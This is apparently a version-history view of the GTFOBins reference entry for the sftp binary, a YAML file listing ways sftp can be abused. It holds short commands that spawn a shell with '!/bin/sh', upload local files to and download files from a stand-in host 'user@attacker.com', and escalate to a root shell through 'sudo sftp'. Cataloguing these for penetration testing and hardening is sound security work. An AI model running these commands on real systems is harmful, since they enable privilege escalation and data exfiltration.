GTFOBins.github.io/_gtfobins/sftp.md

26 lines
552 B
Markdown
Raw Normal View History

2018-05-22 11:58:12 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-07-16 15:01:50 +02:00
- code: |
HOST=user@attacker.com
sftp $HOST
!/bin/sh
2018-10-05 19:55:38 +02:00
file-upload:
2018-07-16 15:01:50 +02:00
- description: Send local file to a SSH server.
code: |
RHOST=user@attacker.com
sftp $RHOST
put file_to_send file_to_save
2018-10-05 19:55:38 +02:00
file-download:
2018-07-16 15:01:50 +02:00
- description: Fetch a remote file from a SSH server.
code: |
RHOST=user@attacker.com
sftp $RHOST
get file_to_get file_to_save
2018-10-05 19:55:38 +02:00
sudo:
2018-07-16 15:01:50 +02:00
- code: |
HOST=user@attacker.com
sudo sftp $HOST
!/bin/sh
2018-05-22 11:58:12 +02:00
---